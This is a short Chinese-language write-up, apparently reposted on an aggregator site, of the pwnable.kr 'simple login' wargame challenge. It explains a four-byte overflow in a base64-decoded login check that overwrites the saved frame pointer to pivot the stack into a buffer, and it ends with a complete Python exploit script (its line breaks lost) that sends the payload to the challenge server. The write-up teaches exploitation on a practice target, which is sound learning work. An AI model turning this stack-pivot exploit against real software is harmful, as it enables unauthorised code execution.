pwnable.kr simple login writeup

来源:互联网 发布:c语言输出人名心形图案 编辑:程序博客网 时间:2024/05/18 17:41

pwnable.kr simple login writeup

虽然说是pt150但是还是让我学到很多东西的。这是一个判定特定字符串的程序,直接说溢出点吧。输入的字符会经过一个base64解码,溢出点在auth的memcpy,只能够有4个字节的溢出,这么少怎么弄?
这里写图片描述
参考了大神思路。http://www.cnblogs.com/anewid/p/4567242.html
我们只能溢出4个字节,那就是ebp,ebp里面存放着什么呢,是上个函数的esp,栈顶,再结合每次函数结束的时候都必须的操作,.

leave; ==>mov esp,ebp; pop ebp;

retn; ==>pop eip;

    对于我们这里来说就应该是这样的,main函数调用了auth函数,我们来把ebp改了,就把auth返回到main函数之后的esp改了,这样的话如果我们能够控制esp的位置是我们可写的话,就可以控制main函数的retn的地址了。刚好我们的输入在bss段,于是猥琐的思路来了。

from zio import *import base64call_system = 0x08049284input_addr = 0x811eb40#target='./login'target=('pwnable.kr',9003)def exp(target):    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))    io.gdb_hint()    io.read_until(':')    payload = 'aaaa' + l32(call_system) + l32(input_addr)    io.writeline(base64.b64encode(payload))    io.interact()exp(target)
0 0
原创粉丝点击